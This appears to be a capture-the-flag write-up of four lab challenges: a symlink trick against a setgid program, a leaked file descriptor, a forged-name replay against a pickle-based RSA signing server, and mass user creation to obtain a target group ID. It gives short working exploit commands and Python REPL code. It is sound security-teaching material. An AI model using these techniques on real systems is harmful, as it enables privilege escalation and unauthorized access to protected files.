1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
|
Simple
======
Files
-----
-rwxr-sr-x 1 root simple 5266 Apr 6 02:08 simple
-rw-r--r-- 1 root root 363 Apr 6 02:08 simple.c
-rw-r----- 1 root simple 33 Apr 6 02:00 simple.flag
-rw-r--r-- 1 root root 33 Apr 6 01:59 simple.not.the.flag
Synopsis
--------
This program opens a file named "simple.not.the.flag" and prints its contents.
The file containing the flag is named "/flags/simple.flag".
Vulnerability
-------------
The open call looks in the current directory for a file named
"simple.not.the.flag" and will follow symlinks, rather than opening the
intended file named "/flags/simple.not.the.flag" which the unprivileged user
has no control over.
Exploit
-------
Change the current directory to one in which we have write permissions.
cd ~
Create a symlink named "simple.not.the.flag" that points to the flag file we
want.
ln -s /flags/simple.flag simple.not.the.flag
Run the program from this directory.
/flags/simple
Exec
====
Files
-----
-rwxr-sr-x 1 root exec 6477 Apr 5 22:50 exec
-rw-r--r-- 1 root root 883 Apr 5 22:50 exec.c
-rw-r----- 1 root exec 33 Apr 5 00:32 exec.flag
Synopsis
--------
This program:
1. Opens the flag file "/flags/exec.flag".
2. Reads it into memory.
3. Forks a child process.
4. Drops privileges in the child process before executing a user-specified
program.
5. Waits for the child to exit.
Vulnerability
-------------
The program forgets to close the open file descriptor to the flag file before
execing the user-specified program in step 4. Step 2 is simply misdirection
supported by comments in the code.
Exploit
-------
Write a program which performs the following operations on file descriptor
number 3:
1. Seeks to the beginning of the file.
2. Reads the contents of the file and prints it out.
Run the exec program given the name of the our exploit program to execute.
RSA
===
Files
-----
-rwxr-xr-x 1 root root 217 Apr 6 00:41 make-keys.rsa
-rw-r----- 1 root rsa 33 Apr 5 23:19 rsa.flag
-rw-r----- 1 root rsa 1600 Apr 6 00:48 rsa.keys
-rwxr-xr-x 1 root root 1966 Apr 6 23:12 rsa.py
-rwxr-sr-x 1 root rsa 5794 Apr 6 20:19 rsa-runner
-rw-r--r-- 1 root root 468 Apr 6 20:19 rsa-runner.c
Synopsis
--------
The make-keys.rsa program is a python script which generates the rsa.keys
keystore containing a private and public key for "Alice" and a public key for
"Bob".
The rsa-runner program is a setgid wrapper for rsa.py, since interpred scripts
cannot be run setgid.
The rsa.py program reads the flag file and the keystore into memory and then
starts a TCPServer to handle requests. When a request is received it is
unpickled into a python object and the "request" property is examined.
If the request property is the string "start" a new python object with the
following properties is pickled and sent to the remote peer:
name = "Alice"
request = "get_flag"
keyid = MD5(DER encoding of Alice's public key)
signature = Sig(keyid + ":" + request, Alice's private key)
If the request property is the string "get_flag" the message must pass these
tests before the flag is sent to the remote peer:
1. The the name property must exist in the keystore.
2. The keyid property must match the MD5 hash of a key in the keystore.
3. The name must not be the string "Alice".
4. The signature is validated against the key in the keystore which matches the
keyid property.
Vulnerability
-------------
The name property is not covered by the signature, nor is it checked against
keyid, nor is it used to select the signature verification key, so it can be
modified without detection leaving a "valid" get_flag request.
Exploit
-------
Using the python REPL, connect to the rsa.py server, send the "start" request,
and unpickle the response.
>>> import socket, pickle
>>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> sock.connect(('localhost', 6666))
>>> class Request:
... pass
...
>>> msg = Request()
>>> msg.request='start'
>>> sock.sendall(pickle.dumps(msg))
>>> buf = sock.recv(1024)
>>> msg2 = pickle.loads(buf)
Reconnect to the server (this has something to do with the way I coded rsa.py),
modify the name property of the reponse to "Bob" and send it back.
>>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> sock.connect(('localhost', 6666))
>>> msg2.name='Bob'
>>> sock.sendall(pickle.dumps(msg2))
Consume the response and unpickle it.
>>> buf = sock.recv(1024)
>>> pickle.loads(buf)
Lottery
=======
Files
-----
-rw-r----- 1 root 1666 33 Apr 5 22:33 lottery.flag
Synopsis
--------
This is simply a flag file that can only be read by group 1666.
Vulnerability
-------------
The CTF website allows competitors to create a user and group for themselves.
Exploit
-------
Write a script to create users and groups until group number 1666 is assigned.
|